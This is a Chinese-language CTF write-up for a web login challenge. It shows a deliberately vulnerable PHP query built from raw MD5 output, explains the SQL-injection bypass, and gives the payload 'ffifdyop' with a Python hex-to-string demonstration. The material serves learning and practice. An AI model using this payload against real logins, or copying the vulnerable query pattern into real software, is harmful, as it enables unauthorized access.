實驗吧 後臺登入writeup
阿新 • • 發佈:2018-10-31
1)解題連結: http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php
2)php原始碼:
<php?
$password=$_POST['password'];
$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
$result=mysqli_query($link,$sql);
if(mysqli_num_rows($result)>0)
{
echo 'flag is :'.$flag;
}
else{
echo '密碼錯誤!';
}
?>
3)考點:
3.1)SQL注入
3.2)注入點傳入引數後通過MD5加密
3.3)字串“ffifdyop”通過MD5加密後得到 276f722736c95d99e921722cf9ed621c
轉換成字串後得到
'or’6<trash>
可以成功繞過md5($password,true)最終獲得SQL語句:
SELECT * FROM admin WHERE username = 'admin' and password = ''or'6<trash>';
3.4)因此Payload為:ffifdyop
!!PS:如何通過Python實現Hex轉Str
[email protected]:~/Desktop# cat HexToStr.py
import binascii
MD5 = '276f722736c95d99e921722cf9ed621c'
print binascii.a2b_hex(MD5)
[email protected]:~/Desktop# python HexToStr.py
'or'6�]��!r,��b
3.5)GetFlag